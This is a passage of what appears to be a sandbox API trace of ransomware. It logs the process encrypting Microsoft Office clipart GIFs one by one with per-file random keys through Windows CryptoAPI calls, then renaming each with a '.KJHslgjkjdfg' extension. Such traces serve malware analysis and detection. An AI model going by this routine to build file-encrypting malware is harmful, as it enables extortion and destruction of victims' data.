hHeap=0x2a0000) returned 1 [0153.693] GetProcessHeap () returned 0x2a0000 [0153.693] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.693] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.kjhslgjkjdfg")) returned 1 [0153.694] CloseHandle (hObject=0x114) returned 1 [0153.694] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9c9200, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c9c9200, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x14ff, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00169_.GIF", cAlternateFileName="")) returned 1 [0153.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.694] GetProcessHeap () returned 0x2a0000 [0153.694] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.694] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.694] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.694] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x1, lpOverlapped=0x0) returned 1 [0153.696] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.696] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.696] GetProcessHeap () returned 0x2a0000 [0153.696] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.697] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.697] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.697] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.697] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.697] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.697] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.697] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.697] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.697] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.697] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.697] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.697] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x14ff, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x14ff, lpOverlapped=0x0) returned 1 [0153.698] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1500, dwBufLen=0x1500 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1500) returned 1 [0153.698] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.698] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1500, lpOverlapped=0x0) returned 1 [0153.698] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.698] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x15d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.698] SetEndOfFile (hFile=0x114) returned 1 [0153.700] GetProcessHeap () returned 0x2a0000 [0153.700] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.700] GetProcessHeap () returned 0x2a0000 [0153.701] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.701] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.kjhslgjkjdfg")) returned 1 [0153.701] CloseHandle (hObject=0x114) returned 1 [0153.701] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76a6b100, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76a6b100, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x2420, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00170_.GIF", cAlternateFileName="")) returned 1 [0153.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.702] GetProcessHeap () returned 0x2a0000 [0153.702] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.702] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.702] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.702] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.702] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.702] GetProcessHeap () returned 0x2a0000 [0153.702] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.702] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.702] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.702] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.705] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.705] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.705] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.705] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.705] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.705] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.705] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.705] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.705] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2420, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2420, lpOverlapped=0x0) returned 1 [0153.706] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2420, dwBufLen=0x2420 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2420) returned 1 [0153.706] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.706] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2420, lpOverlapped=0x0) returned 1 [0153.706] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.706] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x24f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.706] SetEndOfFile (hFile=0x114) returned 1 [0153.709] GetProcessHeap () returned 0x2a0000 [0153.709] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.709] GetProcessHeap () returned 0x2a0000 [0153.709] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.709] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.kjhslgjkjdfg")) returned 1 [0153.710] CloseHandle (hObject=0x114) returned 1 [0153.710] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e1fd00, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71e1fd00, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x1398, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00171_.GIF", cAlternateFileName="")) returned 1 [0153.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.710] GetProcessHeap () returned 0x2a0000 [0153.710] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.710] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.710] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.710] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.713] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.713] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.713] GetProcessHeap () returned 0x2a0000 [0153.713] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.713] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.713] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.713] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.713] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.713] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.713] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.713] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.713] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.713] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.713] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.713] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.713] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1398, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1398, lpOverlapped=0x0) returned 1 [0153.714] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x13a0, dwBufLen=0x13a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x13a0) returned 1 [0153.714] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.714] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x13a0, lpOverlapped=0x0) returned 1 [0153.714] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.714] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.715] SetEndOfFile (hFile=0x114) returned 1 [0153.717] GetProcessHeap () returned 0x2a0000 [0153.717] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.717] GetProcessHeap () returned 0x2a0000 [0153.717] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.717] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.kjhslgjkjdfg")) returned 1 [0153.718] CloseHandle (hObject=0x114) returned 1 [0153.718] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a04e500, ftCreationTime.dwHighDateTime=0x1bd4e61, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a04e500, ftLastWriteTime.dwHighDateTime=0x1bd4e61, nFileSizeHigh=0x0, nFileSizeLow=0x1126, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00172_.GIF", cAlternateFileName="")) returned 1 [0153.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.719] GetProcessHeap () returned 0x2a0000 [0153.719] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.719] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.719] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.719] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0153.721] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.721] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.721] GetProcessHeap () returned 0x2a0000 [0153.721] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.722] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.722] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.722] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.722] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.722] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.722] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.722] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.722] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.722] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.722] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.722] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.722] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1126, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1126, lpOverlapped=0x0) returned 1 [0153.723] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1130, dwBufLen=0x1130 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1130) returned 1 [0153.723] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.723] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1130, lpOverlapped=0x0) returned 1 [0153.723] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.723] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.723] SetEndOfFile (hFile=0x114) returned 1 [0153.726] GetProcessHeap () returned 0x2a0000 [0153.726] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.726] GetProcessHeap () returned 0x2a0000 [0153.726] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.726] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.kjhslgjkjdfg")) returned 1 [0153.727] CloseHandle (hObject=0x114) returned 1 [0153.727] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde4d3e00, ftCreationTime.dwHighDateTime=0x1bd4e56, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xde4d3e00, ftLastWriteTime.dwHighDateTime=0x1bd4e56, nFileSizeHigh=0x0, nFileSizeLow=0xf7e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00174_.GIF", cAlternateFileName="")) returned 1 [0153.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.727] GetProcessHeap () returned 0x2a0000 [0153.727] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.728] CryptGenRandom (in: 